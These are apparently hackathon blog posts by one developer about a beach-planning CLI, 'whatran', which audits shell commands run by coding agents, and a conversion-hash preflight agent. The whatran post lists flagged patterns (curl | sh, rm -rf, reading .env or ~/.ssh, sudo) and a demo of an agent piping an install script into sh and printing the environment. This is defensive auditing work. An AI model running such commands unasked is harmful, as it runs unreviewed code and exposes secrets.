               a partir das 6h                      ← "de manhã"
               até as 9h                            ← "cedo"
               vento até 15 km/h                    ← "pouco vento"
               chance de chuva até 20%              ← "sem chuva"
               maré baixa                           ← "maré baixa"
               pelo menos 2h seguidas               ← "Pelo menos 2 horas"
  não sei medir: "pra areia ficar firme"

The quote is what makes the reading checkable. A rule is kept only if its quote is in what you wrote, word for word, inside one sentence. A number in the quote has to be the rule's value, converted from the unit written right after it: "vento até 12 km/h" can't become 15, "15 mph" becomes 24 km/h, "20%" can't be a wind limit. Then the check runs the other way: every number you wrote has to be the value of some rule, or sit in the list of things the tool can't measure. What fails goes back to Gemma once with the problems listed; what still fails is left out and shown to you. Nothing is saved until you say yes.

That list of things it can't measure became my favourite part. "Pra areia ficar firme" (so the sand is firm) has no field: firm sand is what low tide gives you, and low tide is already a rule. Gemma put it on the list instead of inventing a rule for it, and did the same in English with "with my dog".

Vague words are where the model earns its place. "Pouco vento" has no number, so Gemma picks one (15 km/h), and you see it next to the words it came from. Its early picks were wrong in useful ways: "de manhã cedo" came back as "from 8 am" with no end, and "no rain" as a 0% rain chance, which a Rio forecast almost never shows. I didn't patch those in code; I told the model what a person means. Then six sentences in two languages came back clean, in 2 to 6 seconds each on my laptop, one of them in feet, knots and Fahrenheit.

The seventh caught my own check. "Kitesurf com vento entre 15 e 25 nós" (wind between 15 and 25 knots) came back as 15 and 25 km/h, and the check let it through, because the unit sat three words after the first number. That is the worst kind of error, a plan that looks right and picks days with half the wind you wanted. Now the unit is read after the number or the end of its range, and the retry says "in km/h that is 28". Gemma fixes it on the retry, 28 and 46, three times out of three.

Picking the window. No model here. For every spot, pick.py checks every hour you asked for, in daylight and not already gone, against every rule, finds the stretches that pass for long enough, and ranks them by the room they leave inside your limits. Low and high tide come from the modelled sea level, with a parabola through three hourly readings, rounded to 10 minutes. An English test plan found a bug: "late afternoon" became 17:00 to 21:00, the sun sets at 17:53, and I required the whole hour in daylight, so nothing ever qualified. Now an hour counts when its middle is in daylight.

Explaining it. The headline (go or not, where, from when to when) is always written by code. Gemma writes only the second half, the why, and check_why reads it first: every number, time, date, day and name in it has to be in the facts the code gave it, a number with a unit needs the same unit there, and it has 160 characters at most. A failed sentence gets one retry, then you get the code's own sentence.

None of that sentence's real failures was a wrong number. The first version repeated the headline and mangled the tide into "a maré baixa dura até 2h antes ou depois das 6h10" (the low tide lasts until two hours before or after 6:10). The second copied my prompt: I had given it one example, and it reused the example's ending ("after the window, the tide comes in") on a day the window ended for another reason, then said the low tide fell "right in the middle" when it fell near the end, because my next example said so. A third called a 95% overcast morning "ótimo" (great). An example in a prompt is an instruction, and Gemma followed it. The fix was to stop asking the model for judgements the code can make: the code now writes where the tide falls ("perto do fim do horário"), how much room each condition leaves ("bem abaixo do limite"), and the cloud cover, and the check refuses sunny words under a grey sky. A check can stop a wrong fact. It can't stop a true-sounding phrase the facts never said, so the facts have to say more.

After the beach. dapraia fui ("I went") takes one sentence about how it went, compares it with the forecast for that day, and proposes changes, each quoting your words. For example:

$ dapraia fui "ventou bem mais do que dizia, umas rajadas chatas, e às 8h30 a areia já tava mole" --day 2026-10-07
Mudaria assim:
  vento até 15 km/h  →  vento até 12 km/h   ← "ventou bem mais do que dizia"
  (nada)  →  rajadas até 14 km/h   ← "umas rajadas chatas"
  até 2h antes ou depois da maré (padrão)  →  até 1h antes ou depois da maré   ← "às 8h30 a areia já tava mole"
  (conta do código: 8h30 fica 1h20 depois da maré baixa das 7h10, então até 1h)
Aplicar? [s/N]

("Way windier than it said, some annoying gusts, and at 8:30 the sand was already soft.") Every pick is kept with all the numbers the forecast gave for those hours, so Gemma sees that the gusts that morning went from 8 to 14 km/h and proposes a limit near the top: 14 here, 13 or 15 on other runs. It also decides which rule the sand is about and whether the window should tighten. The arithmetic is the code's: 8:30 is an hour and twenty minutes after the 7:10 low tide, so the window becomes the last half hour before that, one hour. Nothing changes until you say yes.

The tide, checked against the Navy. Open-Meteo's documentation says its tides come from a model on a grid of about 8 km, with limited accuracy at the coast, not for navigation. I wanted to know how limited. The Brazilian Navy publishes official tide predictions for the port of Rio de Janeiro, at Ilha Fiscal, across the bay. For October 6 to 9, every one of the model's eight low tides came early, by 53 to 69 minutes, and the high tides 21 to 39 minutes early. The model's own point inside the bay was just as early for the lows, so it isn't the bay against the open sea.

For a tool built around "go at low tide", an hour is the whole window. It is also the good kind of error, steady, so one number fixes it for the tide your rule is about: with dapraia tide-shift 60, all eight lows land within 10 minutes of the Navy's table. The sixteen official times and the check that recomputes the gap ship in the repo and run with the tests.

Trying to break it. Before publishing, I ran an adversarial review whose only job was to break the code and the README. I ran it eleven times. The first found 13 problems, among them that fui compared your words with whichever forecast had run last, and that a date past the forecast came back as "não dá praia", as if the beach were closed. Most of the rest were about one thing: how people write the time. "Até 12 no fim de semana" (up to 12 on the weekend) became 22 km/h because I had taught the unit check that "no" might be "nó", a knot. "Umas 2h depois da maré" was read as two in the morning. "A partir das 7 e meia" was saved as 7:00, "entre 10 e 15 km/h" became a quarter past ten, and "às 8 horas e meia" lost its half hour because a regular expression tried "h" before "horas". Several of those holes were opened by my own fixes from the round before, and each one is a test now. In the end I stopped teaching that part to understand more spellings and made it refuse instead: the code only does the sum when the time is unambiguous, and anything else ("8.30", "8 e dez", "às 2h depois da maré": two o'clock, or two hours?) gets a note and leaves the number for you to judge.

The finding that changed the design came in round three. My direction check was a list of phrases, and when it misread one ("evito vento acima de 30 km/h", I avoid wind above 30), it rejected Gemma's correct maximum and told it why. Gemma did what it was told: on the retry it flipped the rule into a minimum, which the list liked, and the plan said the opposite of what the person wrote. A heuristic that talks back to the model doesn't just miss errors; it can manufacture them. So the lists in dapraia never argue with the model any more. They show you a note before you save, and you decide.

There are 344 tests, and none of them needs the model or the network. They cover every check against quotes and numbers that should and shouldn't pass, the picker on synthetic days (wind picking up at nine, rain all morning, short stretches, weekends only, daylight, low tide, hours already gone, time zones), a real Open-Meteo answer for three beaches, the tide claim against the Navy's table, the sentence check against sentences that invent numbers, times, dates, days and places, and the command line end to end with a fake model.

Why Does Open Innovation Matter?

A plan for the beach is location data. "Piratininga, weekdays at 6 am" says where someone will be, on a schedule. dapraia sends those words to a model on my own laptop. The client only talks to Ollama on loopback unless I pass a flag, and it ignores proxy settings so the prompt can't take a detour. Open-Meteo gets the coordinates of the beach, because a forecast needs them. If I turn on push notifications, the daily line goes to the ntfy server I picked, and I can run that server myself.

It costs nothing to run every day. Open-Meteo needs no key and no account, and neither does ntfy. Gemma runs on hardware I already own. A tool you use once a day for years should not come with a bill or a key that expires.

Open also let me check the data instead of trusting it. Open-Meteo documents what its tide model can and can't do, the Navy publishes its tables, and comparing the two took one afternoon and sixteen numbers. That comparison is now a test in the repo. Open-Meteo is open source too (AGPL-3.0), with self-hosting documented, so the forecast doesn't have to come from someone else's server either.

And it is mine to change. --model swaps Gemma for anything Ollama serves, the plan is a JSON file I can edit, and the rules are one readable module. If you surf, you want waves above a metre where I want them flat; that is a sentence, not a code change.

Prize Categories

Best Use of Gemma: Gemma 4 12B runs locally through Ollama. It reads the plan (with Ollama's structured outputs and a quote check on every rule), writes the daily why (under a fact check), and reads how the outing went to propose changes to the plan.

What did my agents run today? A daily note for a friend who lives in the terminal, written by Gemma 4 on his own laptop

Vinicius Pereira — Fri, 02 Oct 2026 21:08:57 +0000

This is a submission for the Hacktoberfest Weekend Challenge: Build for a Friend

What I Built

I built this for my best friend, Bruno Moreira (@brunorodmoreira on GitHub).

Bruno lives in his terminal and works with coding agents, and his public repos show both. His dotfiles are zsh, tmux, starship and atuin, the shell history tool. He keeps a fork of herdr, a runtime for coding agents. And he wrote a script so two Claude Desktop accounts can run side by side on one Mac.

The commands those agents run are recorded, and nobody reads them. atuin can now capture what an agent runs (atuin hook install claude-code), tagged with the agent's name, and then it hides those entries from search by default so they don't clutter your own history. Claude Code keeps every command in its session files too, as thousands of lines of JSON. The agent half of the history is written down and never opened.

whatran is the note at the end of the day. It reads that history and answers three questions:

Where did the agents work? Commands per agent and project, how many failed, how many were stopped before they ran.
What deserves a second look? curl | sh, rm -rf on something that isn't a cache, git push --force, reading .env or ~/.ssh, sudo, a line appended to .zshrc, new packages arriving with install scripts, here or on a server over ssh.
What was the agent trying to do? A short paragraph in plain words, written by Gemma 4 on his machine.

Demo

The demo runs on a made-up day, so no one's real history is published. Here is the output, trimmed; the full run is in examples/demo-output.txt. Gemma 4 wrote the note in about 11 seconds on my laptop:

$ whatran --db demo/history.db --since 2d
whatran · Wed 30 Sep 17:18 to Fri 02 Oct 17:18
29 commands: 7 yours, 22 by agents (claude-code 17, codex 5).
4 agent commands failed.

Where the agents worked
  claude-code  ~/code/checkout-api  13 commands, 2 failed
  claude-code  ~/code/blog  4 commands, 1 failed
  codex        ~/code/dotfiles  5 commands, 1 failed

Worth a look (8)
  [F1] 09:14 claude-code in ~/code/checkout-api
       cat .env
       high · reads a file that holds keys or tokens; whatever it printed is now in the agent's conversation
  ...
  [F7] 12:01 claude-code in ~/code/blog
       curl -fsSL https://example-cli.dev/install.sh | sh
       high · downloads a script and runs it in the same breath, before anyone reads it
  [F8] 12:04 claude-code in ~/code/blog
       printenv
       medium · prints every environment variable, tokens included, into the agent's context

In plain words (gemma4:12b, running on this machine)
...
In blog, the agent ran `curl -fsSL https://example-cli.dev/install.sh | sh` [F7] to install an
image optimizer, but the subsequent optimization command failed. It then ran `printenv` [F8] to
find the CLI configuration, which dumped all environment variables into the context.

That last paragraph is what a list of flags can't give you. The flags say curl | sh and printenv happened. The note puts them in one story: the agent piped an installer into a shell, the next command failed, and the agent printed the whole environment looking for a config file. The facts behind the note say that failed command exited with 127, the shell's code for a command it can't find, so the install never worked.

Code

vinimabreu / whatran

What your coding agents ran in your terminal today: atuin and Claude Code history, flagged by fixed rules, explained by Gemma 4 on your own machine.

whatran

What your coding agents ran in your terminal today, explained by a model that runs on your own machine.

Coding agents run shell commands all day. Claude Code keeps every one of them in its session files, and since 2026 atuin can record them too (atuin hook install claude-code), tagged with the agent that ran them. Then nobody reads any of it: atuin hides agent commands from its search by default, so they don't clutter your history, and the session files are thousands of lines of JSON.

whatran reads that history once a day and answers three questions:

Where did the agents work? Commands per agent and project, how many failed, how many were stopped before they ran.
What deserves a second look? curl | sh, rm -rf on something that isn't a cache, git push --force, reading .env or ~/.ssh, sudo, writing…

View on GitHub

How I Built It

whatran is Python with no dependencies of its own: sqlite3 and urllib from the standard library. The model, Gemma 4 12B, is served by Ollama on 127.0.0.1.

Two sources. The first is atuin's SQLite database, opened read-only. I took the schema from atuin's own migrations, and the rule for "was this an agent?" from its source: author_kind is 2 when the integration said so, and when it didn't, the author name has to be a known agent and must not just be the username it fell back to. That last part is atuin's exception for a person whose username happens to be pi, and whatran keeps it. The second source is Claude Code's session files, which need no setup at all. Each Bash call there has the command and a short description of why, which becomes the intent, and the result says how it ended. "Exit code 1" means it ran and failed. A denied or blocked call never ran, so it is counted apart, never as a failure. A resumed session copies its earlier calls into a new file, so calls are counted once by their id.

Code decides, the model explains. Counting, grouping and flagging are plain Python. Each rule is a regular expression with a reason a person can read, so the same command gets the same answer every day. Gemma 4 gets the facts as JSON: the counts, the projects, and each flag with its intent and the two commands before and after it in the same session. It writes the paragraph and nothing else.

The note is checked before anyone sees it. Every command the note quotes in backticks must appear in the facts. Every number must be one of the counts or exit codes the facts state, and every clock time one of the flags' times, so "2026 commands" or "50%" doesn't slip through just because those digits appear in a date or a time. Every [F3] it cites must exist, and every flag must be cited. If the note fails, whatran asks once more with the problems listed. If it fails again, the note is not shown and the report lists what failed. The counts and flags are still printed, because they never depended on the model.

My first real run was wrong in an instructive way. Before handing it to Bruno, I ran it on one real working day of mine: 548 commands from my agents between midnight and mid-afternoon. It raised 64 flags, and 21 were plain wrong. Nine were ordinary file transfers. Five were test strings inside quoted Python. Four were inside heredoc bodies I had fed to Python or Node, so they never ran as shell. Three were rm -rf on caches.

41 of the other 43 had run on servers, inside an ssh command: sudo calls, and one crontab change. The first version reported them as if they had happened on my laptop: as local sudo, as a local crontab change, or as plain file transfers.

The rules were matching text, so I taught them to read commands closer to the way the shell does. They now look at one simple command at a time, so a pattern can't run from one command into the next. A heredoc body only counts when it is fed to a shell. A quoted string with spaces in it (a commit message, a JSON payload, a test string) is set aside, unless it is the script of bash -c, bash -lc or eval. rm -rf on caches and build output passes, and rm -rf node_modules && rm -rf migrations does not. A script sent over ssh, quoted, unquoted or as a heredoc, goes through the same rules, and its flags say "on another machine". That also caught seven remote sudo calls the first version had missed. Grouped by agent, project and rule, the same day now reads as four entries.

One of those four was useful the first time I read it. The note pointed out that the second of two commands sent to stop a process on a server had come back with exit 255, and told me to check whether the process was still running. I had missed that.

Before publishing, I ran an adversarial review over the code and this post, with one job: break it. The first round found a chained rm -rf the rules let through, a test that failed in India's time zone, a proxy setting that could have carried the prompt off the machine, and a number check that accepted any digit found anywhere in the facts. The second round found that .venv/bin/pip install slipped past every rule because the program was called by its path. All of it is fixed, and each case is now a test.

Tokens are masked before anything is printed or sent to the model, in the commands and in the agents' own descriptions: GitHub, OpenAI, Anthropic, Stripe, Hugging Face, Slack, GitLab and npm tokens, AWS keys, bearer and API-key headers, *_TOKEN= values, password flags, and passwords in connection URLs. It all runs on the laptop anyway, but a note on screen shouldn't repeat a token. A secret in a format that isn't on the list is shown as typed, and the README says so.

On an M5 Max with 36 GB, Gemma 4 12B writes about 58 tokens a second. The demo note takes about 11 seconds the first time and 5 once the model is warm; on my real days so far it took between 25 and 49 seconds. There are 318 tests, and none of them needs the model. They cover every rule against commands that should and shouldn't trip it, atuin's agent detection case by case, both readers against files written the way atuin and Claude Code write them, and the note check against notes that invent commands, numbers, times and flags.

Why Does Open Innovation Matter?

Shell history is the most sensitive text file most developers have. Tokens typed inline, database URLs with passwords, client names in paths, all in one place. Sending it to a hosted model to get a summary would create the exact leak this tool exists to show. With an open-weight model on his own laptop, Bruno's history stays there. whatran only talks to Ollama on loopback unless he passes a flag saying otherwise, and it ignores proxy settings so the prompt can't take a detour.

The agents themselves usually run on hosted models. When an agent runs cat .env, those values are already in its conversation, and whatran can't undo that. What it can do is not make a second copy somewhere else to tell him about it.

Open also made it possible to build at all. atuin is open source, so I could read how it stores history and how it decides who ran a command, and match its rule exactly instead of guessing. A closed history tool would have left me reverse-engineering a database.

And it is his to change. It costs nothing to run every day, it works with no network, --model swaps Gemma for anything else Ollama serves, and the rules are one readable file. If Bruno decides npx is fine on his machine, he takes it out of one pattern.

Prize Categories

Best Use of Gemma: Gemma 4 12B runs locally through Ollama and writes every note, under the check described above.

One email, two correct hashes: an agent that checks conversion uploads against the docs and the code

Vinicius Pereira — Wed, 30 Sep 2026 15:33:19 +0000

This is a submission for the Sanity Challenge, Path One: Ship an Agent That Queries Real Content

What I Built

When a CRM sends closed deals back to Google and Meta as offline conversions, every email, phone and name goes out as a SHA-256 hash. The hash either matches the one the platform computed or it does not, and a mismatch is silent: the upload succeeds, the conversion lands, and it is never attributed. The campaign just looks worse than it is.

The two platforms do not normalize the same way, so one shared function is wrong for at least one of them:

Input	Google (Data Manager API)	Meta (Conversions API)
`Jane.Doe+promo@GMAIL.com`	`janedoe@gmail.com`	`jane.doe+promo@gmail.com`
`(650) 555-1212`, US	`+16505551212`	`16505551212`
`O'Brien`	`o'brien`	`obrien`
ZIP `94035-1234`, US	`94035-1234`, in clear	`94035`, hashed

Each column is right for its own destination.

conversion-preflight is an agent a developer asks before an upload. It answers rules questions with citations, checks a CRM export row by row for both platforms, and audits the implementation against the current documentation. It is built on one rule: three sources, three jobs, never blurred.

A Sanity knowledge base says what each platform documents.
A rule table says what the code does, one entry per platform and field, published to a Sanity dataset as structured documents.
A small MCP server of tested code is the only place a normalized value or a digest is produced.

When those disagree, the agent says so and quotes both sides instead of picking one.

Demo

A real run over eight synthetic CRM rows, trimmed to three of its findings:

$ python -m agent.run --csv examples/leads.csv --region US "Check these rows before tonight's upload to Google and Meta."
  -> preflight_file examples/leads.csv (6 columns mapped, id=Lead ID, region=US)
  -> initial_context
  -> groq_query *[_type == "implementationProfile"][0]{globalDivergences}
  -> knowledge_base_read ['normalization_and_hashing/google', 'normalization_and_hashing/meta']
  -> groq_query *[_type == "normalizationRule" && field in ["phone","country","first_name",...

## L-1006
- Google and Meta, phone `+1 (415) 555 0142 ext 7`: needs_review because it contains a letter (U+0065).
  - Google says every character after `+` must be a digit [normalization_and_hashing/google].
  - Meta says to remove symbols and letters [normalization_and_hashing/meta].
  - Refusing letters instead of stripping them is a declared divergence for both platforms
    [rule: google/phone] [rule: meta/phone].
  - Fix at source: store the extension in a separate field and send only the number.
- Google, first_name `Mrs. Carol`: warning. Google says to omit prefixes such as `Mrs.` from
  `given_name` [normalization_and_hashing/google]. The code doesn't remove them, which is declared
  [rule: google/first_name]. Fix at source: split the title into its own field.
## L-1008
- Google and Meta, email: invalid because it contains U+200B. ...

Every citation says which source it came from: [normalization_and_hashing/...] is the knowledge base, what the platform documents; [rule: ...] is the dataset, what the code declares.

Digests never pass through the model's text. The agent sees the header and three rows and sends back a column mapping; preflight_file reads every row, writes the upload file keyed by lead id, and returns the totals and the flagged cells. The first version had the model copy every cell into the tool call, which an adversarial review measured at 561,701 characters of tool output for 100 rows. The published run returned 3,216 for the eight. The same review caught a worse thing in an earlier demo: for a phone the tool had refused, the model wrote the "corrected" number itself. The prompt now says to describe the fix at the source and never to compose the value.

Code

vinimabreu / conversion-preflight

Preflight agent for Google and Meta offline conversion uploads: rules from a Sanity knowledge base, declared rules from a Sanity dataset, digests from tested code.

conversion-preflight

An agent that checks customer data before an offline conversion upload to Google and Meta. What the platforms document comes from a Sanity knowledge base built from their own pages. What the code declares about its own rules comes from structured documents in a Sanity dataset, queried with GROQ. Every normalized value and SHA-256 digest comes from tested code. Where those disagree, the agent says so instead of picking one.

A real run over eight synthetic CRM rows, trimmed to three of its findings (the full transcript is in examples/runs/):

$ python -m agent.run --csv examples/leads.csv --region US "Check these rows before tonight's upload to Google and Meta."
  -> preflight_file examples/leads.csv (6 columns mapped, id=Lead ID, region=US)
  -> initial_context
  -> groq_query *[_type == "implementationProfile"][0]{globalDivergences}
  -> knowledge_base_read ['normalization_and_hashing/google', 'normalization_and_hashing/meta']
  -> groq_query *[_type == "normalizationRule" && field in ["phone","country","first_name","last_name","em
[6 turns, 14.3s, in 6+31541 cached, out 1895 tokens; transcript runs/...;

…

View on GitHub

The agent is Claude Code run headless (claude -p) with every built-in tool switched off and only three MCP servers allowed: the knowledge base endpoint, the dataset endpoint, and the local preflight server. The whole prompt is one file, agent/system.md. It runs on my existing plan, so nothing here is billed per call.

202 tests. The suite checks every worked example with an input that the platforms publish (including Meta's own digests) against the code, pins every declared divergence to the code's actual behaviour, and exercises the MCP server over real stdio.

How I Used Sanity

The knowledge base, and what building it taught me

I pointed a Sanity Context knowledge base at three sources: Google's Data Manager "Format user data" guide, Google Ads' "Manage offline conversions" page, and Meta's customer information parameters. Meta's page renders client side and the crawl came back empty, so I extracted its text and uploaded it as a file source, with the URL and retrieval date at the top.

The purpose text does most of the steering. Mine says who asks (engineers about to upload), what leads (which endpoint, how each platform wants each field, where the two differ), what stays out (bidding, pricing, reporting), and, after the first builds, that each platform's rules apply to that platform only and that a rule's qualifiers and the pages' worked examples are kept as written.

Four things happened on the way that shaped the agent:

The first crawl indexed one page in fifteen languages. The "15 documents" from the Data Manager site were the formatting page plus fourteen ?hl= translations, and a later check pulled nineteen translations of the Google Ads page. The first entry I read cited a Hebrew page. "Ignore query parameters" did not stop it; I removed the translations in the crawled-pages view.
Entries are summaries, and summaries drop words. Google says to trim "leading, trailing and intermediate whitespace" in an email address. One build kept "leading/trailing" and lost "intermediate". Another wrote "5-digit equivalents only" for non-US postal codes, which no page says, and the agent then told me to cut the Brazilian CEP 24020-005 to 24020. A single-entry rebuild once wrote "Base64 encoding is not used", true of the Google Ads samples and false for the Data Manager API.
Rebuilds are not deterministic, and instructions are what stick. A detail fixed in one build could vanish in the next. An instruction is honored on every build; when I saved the one for "intermediate", Sanity checked it against the entries itself and listed the two pages that contradicted it before rebuilding them.
Issues found a bug in Google's own sample code. A build opened a conflict between two entries about the Gmail plus-suffix. One side came from Google's Python sample, so I read it: normalize_and_hash_email_address removes the . and + characters from the local part for every domain and keeps the text after the +. The page's own rule, and its Java sample, apply that only to gmail.com and googlemail.com and remove everything from the + on. Code copied from the Python sample turns first.last@company.com into firstlast@company.com. I resolved the issue with the documented rule; two other issues were differences between the platforms, not contradictions, and I dismissed them.

The dataset: the code's rules as structured content

The implementation's rule table lives in the production dataset as normalizationRule documents, one per platform and field, plus an implementationProfile that references them. Each rule carries what the code does in plain words, the platform's words when the code was written (verbatim, with the URL and retrieval date), the knowledge base entry that should agree today (kbEntry), the platforms' own worked examples, and the differences the code makes on purpose. A sync command publishes it from the Python module the tests pin, and a --check mode fails when the dataset and the code drift apart. The schema is a small Studio, deployed at conversion-preflight.sanity.studio.

A second Context MCP endpoint serves that dataset, filtered to those two types, and the agent reads it with groq_query. This is where the two halves of Sanity Context earned their separate places. The knowledge base is the right tool for prose that gets rewritten into entries; the dataset is the right tool for the thing that must come back exactly as written, because a query returns the quote, not a summary of it. Two things I learned the hard way: the endpoint answers "Only datasets with deployed Studio applications are supported" until a Studio with the schema is deployed, and a document id with a dot in it (normalizationRule.google.email) is a private path in Sanity, so the ids use hyphens.

What the agent does with it

Rules questions: initial_context once, then knowledge_base_read on the entries it needs, and every rule it states carries the entry path, like [normalization_and_hashing/meta].
Batch checks: it maps CRM columns to fields, calls preflight_file once, and explains each refusal and each warning with the documented rule behind it. Before calling a result a conflict with the docs, it checks the rule's declared divergences.
Audits: for every rule it compares the knowledge base entry (the documentation today), the quote the code was written against, and the implementation, and sorts what it finds: code and documentation disagree, entry and quote disagree, declared, or agrees. The audit is what flagged the lost "intermediate", the invented "5-digit equivalents", the "Base64 is not used" regression and Meta's self-contradicting UK example. It also found behaviour in my own code that nobody had written down: letters in a phone number refused rather than stripped, a seven-digit E.164 number refused, spaces inside a Meta first name removed. All of it is declared now. The Python sample came from Sanity's Issues, the translations from the crawled-pages view, and two wrong digests the tool reported as fine (+44 (0)20 ... and a US ZIP+4 with no country) from an adversarial review of the repository.

Graded by code

Fourteen cases, graded without a model. Expected digests come from the tested normaliser and, in three cases, from digests Meta prints on its own page. The digest rule is about provenance: any 64-character hex string in an answer must be expected or must appear in a tool result from the same run.

Case group	Full agent	Knowledge base only
Values whose digest Meta prints on its page (3)	3 / 3	3 / 3
Values whose digest has to be computed (3)	3 / 3	0 / 3
Refusals (3)	3 / 3	3 / 3
Rule questions (5)	4 / 5	4 / 5
Total	13 / 14	10 / 14
Hex digests the model wrote itself	0	0

The knowledge base alone gets the rules right and even the digests a platform prints, which the baseline copied straight out of the entry. Every other digest needs the tool: without it the model did not invent one, it declined, which is honest and useless for an upload.

Both modes failed the same case. Asked what to send for the Brazilian CEP 24020-005, the full agent said the tool sends it unchanged and that the documentation does not settle whether -005 counts as an extension, and it would not recommend a value. That is a fair answer and still a fail, because the case asks for a recommendation and I fixed the criteria before the run. An earlier build of the knowledge base, the one that invented "5-digit equivalents", had the agent recommend cutting the CEP to 24020; I would take the refusal over that every time.

The grader went through three versions, and each result file records its version. Version 2 replaced "no unexpected digest" with provenance and forbade any digest in a refusal; version 3 tightened the rule-case patterns against counterexamples an adversarial review wrote to break them, and those counterexamples are now tests. Rule cases are still keyword checks, so every graded answer is published next to the results.

Sanity Project Details

Project ID: h3njchfh, dataset production (normalizationRule, implementationProfile)
Studio: conversion-preflight.sanity.studio (the dataset is private, so the documents show to project members)
Knowledge base: "Offline conversion imports: Google and Meta" (kb6kEFy3JtbM)

Agent Session

A run of the agent itself, not of the build: the audit, from the request to the answer. It reads the knowledge base outline, pulls every rule from the dataset with two GROQ queries, reads both normalization entries, and sorts what it finds. On the final version it found no undeclared disagreement between the code and the documentation, only entries whose summary differs from the quoted page.

conversion-preflight: auditing the code against Google and Meta docs with Sanity Context claude-sonnet-5-5

You

Audit the implementation against the documentation, for both platforms.

Agent

▸ mcp__sanity-context__initial_context {}

Input

{
}

Output

# Conversion import preflight: Context

## Context Instructions

Answer only from the knowledge base. Every rule you state names the platform it belongs to (Google or Meta) and the entry it came from. Google and Meta normalize customer data differently: never apply one platform's rule to the other. If the knowledge base does not cover the question, say so instead of guessing.

## Efficiency

Prefer well-constructed queries over multiple exploratory calls.

## Accuracy

Only state what the data explicitly says. Don't infer, extrapolate, or connect dots that aren't there. Every claim should be grounded in content you retrieved.

If your query results are incomplete:
- Answer with what you found
- Be explicit about what's missing rather than guessing

When uncertain, acknowledge it. Better to say "I'm not certain" than to confidently state something wrong.

## Tools

- **knowledge_base_read**: Read full entries from a knowledge base by its id and entry paths (both shown in the Knowledge bases outline below).
- **knowledge_base_search**: Keyword-search a knowledge base's entry content and get ranked entry paths with scores. Use it when the outline alone does not tell you where an answer lives, then read the winning paths with `knowledge_base_read`.


# Knowledge bases

Knowledge base id: `kb6kEFy3JtbM`

## Offline conversion imports: Google and Meta — Engineers sending closed deals from a CRM to Google (Data Manager API, Google Ads offline conversions and enhanced conversions for leads) and to the Meta Conversions API ask here before they upload. Lead with: which endpoint a new account must use, how each platform wants email, phone and name normalized and hashed, and where the two platforms' rules differ. Each platform's rules apply to that platform only, so a difference between Google and Meta is expected and is not a conflict. Keep every qualifier of a rule and the pages' worked examples as written, and add no limit a page does not state. Leave out: campaign strategy, bidding, pricing and reporting screens.
7 entries.

endpoint_selection [core]

google/data_manager_api

google/diagnostics

google/payload_construction [core]

meta/payload_construction [core]

normalization_and_hashing/google [core]

normalization_and_hashing/meta [core]

Agent

▸ mcp__sanity-dataset__groq_query {"query":"*[_type == \"normalizationRule\"]{platform, field, param, hashed, i...

Input

{"query":"*[_type == \"normalizationRule\"]{platform, field, param, hashed, implemented, implementation, docQuote, \"sourceUrl\": source.url, kbEntry, docExamples[]{input, normalized, sha256, diverges...

Output

{
  "meta": {
    "executedQuery": "*[_type != \"sanity.agentContext\" && (_type in [\"normalizationRule\", \"implementationProfile\"]) && _type == \"normalizationRule\"]{\"platform\": platform, \"field\": field, \"param\": param, \"hashed\": hashed, \"implemented\": implemented, \"implementation\": implementation, \"docQuote\": docQuote, \"sourceUrl\": source.url, \"kbEntry\": kbEntry, \"docExamples\": docExamples[]{\"input\": input, \"normalized\": normalized, \"sha256\": sha256, \"diverges\": diverges, \"_id\": global::coalesce(_originalId, _id)}, \"divergences\": divergences, \"_id\": global::coalesce(_originalId, _id)}",
    "perspective": "published",
    "resultCount": 16,
    "returnedCount": 16
  },
  "result": [
    {
      "_id": "normalizationRule-google-city",
      "divergences": [

      ],
      "docExamples": [

      ],
      "docQuote": "Used only for Google Analytics. The city of the user's address. Convert to lowercase. Remove symbol characters. Whitespace: Trim leading and trailing whitespace. Hashing: Don't hash city.",
      "field": "city",
      "hashed": false,
      "implementation": "Not implemented. The tool returns not_implemented for this pair.",
      "implemented": false,
      "kbEntry": "normalization_and_hashing/google",
      "param": "city",
      "platform": "google",
      "sourceUrl": "https://developers.google.com/data-manager/api/devguides/concepts/formatting"
    },
    {
      "_id": "normalizationRule-google-country",
      "divergences": [

      ],
      "docExamples": [

      ],
      "docQuote": "A two-character ISO-3166-1 alpha-2 code. Whitespace: Trim leading and trailing whitespace. Hashing: Don't hash region_code.",
      "field": "country",
      "hashed": false,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Accepts exactly two ASCII letters after trimming and uppercases them. Refuses full names rather than translating. Never hashed.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/google",
      "param": "region_code",
      "platform": "google",
      "sourceUrl": "https://developers.google.com/data-manager/api/devguides/concepts/formatting"
    },
    {
      "_id": "normalizationRule-google-email",
      "divergences": [

      ],
      "docExamples": [
        {
          "_id": null,
          "diverges": false,
          "input": "cloudy.sanfrancisco+shopping@gmail.com",
          "normalized": "cloudysanfrancisco@gmail.com",
          "sha256": null
        },
        {
          "_id": null,
          "diverges": false,
          "input": "user.name+NYC@Example.com",
          "normalized": "user.name+nyc@example.com",
          "sha256": null
        }
      ],
      "docQuote": "Convert to lowercase. If the email address has the gmail.com or googlemail.com domain: Remove all dots (.) before the @ symbol. Remove the plus sign (+) from the local-part and remove all characters that follow it. [...] If the email address has a domain other than gmail.com or googlemail.com, don't remove dots or plus signs. Whitespace: Trim leading, trailing and intermediate whitespace. Hashing: Hash using the SHA-256 algorithm. Encode the hash bytes using hex or Base64 encoding.",
      "field": "email",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Requires exactly one '@' and a dotted domain. Removes ASCII whitespace anywhere in the address, lowercases with str.lower, and for gmail.com and googlemail.com only removes every '.' in the local part and the '+' with everything after it.",
      "implemented": true,
      "kbEntry": "normalization_and_hashing/google",
      "param": "email_address",
      "platform": "google",
      "sourceUrl": "https://developers.google.com/data-manager/api/devguides/concepts/formatting"
    },
    {
      "_id": "normalizationRule-google-first_name",
      "divergences": [
        "Titles and suffixes ('Mrs.', 'Jr.') are not removed, because removing them needs a list of words, and a wrong entry in that list changes a real name. preflight_file warns when it sees a common one; the source system has to split it out."
      ],
      "docExamples": [

      ],
      "docQuote": "Convert to lowercase. Don't include prefixes such as Mrs. Whitespace: Trim leading and trailing whitespace. Hashing: Hash using the SHA-256 algorithm.",
      "field": "first_name",
      "hashed": true,
      "implementation": "Refuses invisible characters and non-ASCII whitespace (for example U+00A0, U+200B) with the code point named, instead of hashing them. Trims ASCII whitespace at both ends and lowercases. Keeps punctuation. Does not remove prefixes such as 'Mrs.': the caller must.",
      "implemented": true,
